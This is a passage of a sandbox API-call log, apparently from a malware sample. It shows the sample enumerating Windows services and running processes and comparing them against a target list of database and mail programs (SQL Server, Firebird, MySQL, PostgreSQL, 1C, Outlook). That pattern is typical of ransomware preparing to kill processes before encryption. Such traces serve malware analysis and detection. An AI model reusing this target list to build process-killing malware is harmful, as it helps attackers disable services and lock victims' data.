1 [0038.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0038.420] lstrlenW (lpString="Dhcp") returned 4 [0038.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0038.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0038.420] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0038.420] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0038.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0038.420] lstrlenW (lpString="Dnscache") returned 8 [0038.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0038.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0038.421] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0038.421] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0038.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0038.421] lstrlenW (lpString="DPS") returned 3 [0038.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0038.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0038.421] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0038.421] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0038.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0038.421] lstrlenW (lpString="eventlog") returned 8 [0038.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0038.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0038.421] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0038.421] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0038.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0038.421] lstrlenW (lpString="EventSystem") returned 11 [0038.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0038.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0038.421] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0038.421] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0038.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0038.421] lstrlenW (lpString="gpsvc") returned 5 [0038.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0038.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0038.421] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0038.421] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0038.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0038.422] lstrlenW (lpString="iphlpsvc") returned 8 [0038.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0038.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0038.422] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0038.422] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0038.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0038.422] lstrlenW (lpString="LanmanServer") returned 12 [0038.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0038.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0038.422] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0038.422] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0038.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0038.422] lstrlenW (lpString="LanmanWorkstation") returned 17 [0038.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0038.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0038.422] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0038.422] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0038.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0038.422] lstrlenW (lpString="lmhosts") returned 7 [0038.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0038.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0038.422] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0038.422] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0038.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0038.422] lstrlenW (lpString="MMCSS") returned 5 [0038.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0038.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0038.423] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0038.423] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0038.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0038.423] lstrlenW (lpString="MpsSvc") returned 6 [0038.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0038.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0038.423] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0038.423] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0038.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0038.423] lstrlenW (lpString="Netman") returned 6 [0038.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0038.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0038.423] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0038.423] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0038.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0038.423] lstrlenW (lpString="netprofm") returned 8 [0038.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0038.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0038.423] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0038.423] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0038.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0038.423] lstrlenW (lpString="NlaSvc") returned 6 [0038.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0038.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0038.423] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0038.423] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0038.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0038.424] lstrlenW (lpString="nsi") returned 3 [0038.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0038.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0038.424] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0038.424] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0038.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0038.424] lstrlenW (lpString="PcaSvc") returned 6 [0038.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0038.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0038.424] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0038.424] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0038.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0038.424] lstrlenW (lpString="PlugPlay") returned 8 [0038.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0038.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0038.424] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0038.424] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0038.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0038.424] lstrlenW (lpString="Power") returned 5 [0038.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0038.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0038.424] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0038.424] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0038.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0038.424] lstrlenW (lpString="ProfSvc") returned 7 [0038.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0038.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0038.425] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0038.425] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0038.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0038.425] lstrlenW (lpString="RpcEptMapper") returned 12 [0038.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0038.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0038.425] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0038.425] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0038.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0038.425] lstrlenW (lpString="RpcSs") returned 5 [0038.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0038.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0038.425] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0038.425] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0038.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0038.425] lstrlenW (lpString="SamSs") returned 5 [0038.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0038.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0038.425] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0038.425] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0038.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0038.425] lstrlenW (lpString="Schedule") returned 8 [0038.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0038.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0038.425] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0038.425] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0038.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0038.426] lstrlenW (lpString="SENS") returned 4 [0038.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0038.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0038.426] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0038.426] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0038.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0038.426] lstrlenW (lpString="ShellHWDetection") returned 16 [0038.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0038.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0038.426] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0038.426] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0038.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0038.426] lstrlenW (lpString="Spooler") returned 7 [0038.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0038.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0038.426] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0038.426] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0038.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0038.426] lstrlenW (lpString="SysMain") returned 7 [0038.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0038.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0038.426] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0038.426] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0038.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0038.426] lstrlenW (lpString="Themes") returned 6 [0038.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0038.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0038.427] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0038.427] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0038.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0038.427] lstrlenW (lpString="TrkWks") returned 6 [0038.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0038.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0038.427] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0038.427] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0038.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0038.427] lstrlenW (lpString="UxSms") returned 5 [0038.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0038.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0038.427] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0038.427] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0038.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0038.427] lstrlenW (lpString="WdiServiceHost") returned 14 [0038.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0038.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0038.427] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0038.427] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0038.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0038.427] lstrlenW (lpString="WdiSystemHost") returned 13 [0038.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0038.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0038.427] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0038.427] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0038.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0038.428] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0038.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0038.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0038.428] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0038.428] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0038.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0038.428] lstrlenW (lpString="Winmgmt") returned 7 [0038.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0038.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0038.428] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0038.428] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0038.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0038.428] lstrlenW (lpString="WPDBusEnum") returned 10 [0038.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0038.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0038.428] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0038.428] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0038.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0038.428] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57e488 | out: hHeap=0x510000) returned 1 [0038.428] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x118 [0038.432] Process32FirstW (in: hSnapshot=0x118, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0038.432] Process32NextW (in: hSnapshot=0x118, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0038.433] lstrlenW (lpString="System") returned 6 [0038.433] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0038.433] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0038.433] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0038.433] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0038.433] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0038.433] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0038.433] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0038.433] Process32NextW (in: hSnapshot=0x118, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0038.433] lstrlenW (lpString="smss.exe") returned 8 [0038.433] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0038.433] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0038.433] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0038.433] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0038.433] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0038.433] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0038.433] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0038.433] Process32NextW (in: hSnapshot=0x118, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0038.434] lstrlenW (lpString="csrss.exe") returned 9 [0038.434] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0038.434] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0038.434] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0038.434] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0038.434] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0038.434] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0038.434] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0038.434] Process32NextW (in: hSnapshot=0x118, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0038.434] lstrlenW (lpString="wininit.exe") returned 11 [0038.434] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0038.434] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0038.434] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0038.434] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0038.434] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0038.434] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0038.435] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0038.435] Process32NextW (in: hSnapshot=0x118, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0038.435] lstrlenW (lpString="csrss.exe") returned 9 [0038.435] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0038.435] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0038.435] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0038.435] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0038.435] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0038.435] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0038.435] Process32NextW (in: hSnapshot=0x118, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0038.436] lstrlenW (lpString="winlogon.exe") returned 12 [0038.436] Process32NextW (in: hSnapshot=0x118, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0038.436] lstrlenW (lpString="services.exe") returned 12 [0038.436] Process32NextW (in: hSnapshot=0x118, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0038.436] lstrlenW (lpString="lsass.exe") returned 9 [0038.436] Process32NextW (in: hSnapshot=0x118, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0038.437] lstrlenW (lpString="lsm.exe") returned 7 [0038.437] Process32NextW (in: hSnapshot=0x118, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.437] lstrlenW (lpString="svchost.exe") returned 11 [0038.437] Process32NextW (in: hSnapshot=0x118, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.437] lstrlenW (lpString="svchost.exe") returned 11 [0038.437] Process32NextW (in: hSnapshot=0x118, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.438] lstrlenW (lpString="svchost.exe") returned 11 [0038.438] Process32NextW (in: hSnapshot=0x118, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.438] lstrlenW (lpString="svchost.exe") returned 11 [0038.438] Process32NextW (in: hSnapshot=0x118, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.438] lstrlenW (lpString="svchost.exe") returned 11 [0038.438] Process32NextW (in: hSnapshot=0x118, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0038.439] lstrlenW (lpString="audiodg.exe") returned 11 [0038.439] Process32NextW (in: hSnapshot=0x118, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.439] lstrlenW (lpString="svchost.exe") returned 11 [0038.439] Process32NextW (in: hSnapshot=0x118, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.439] lstrlenW (lpString="svchost.exe") returned 11 [0038.439] Process32NextW (in: hSnapshot=0x118, lppe=0x21ffd34 | out: 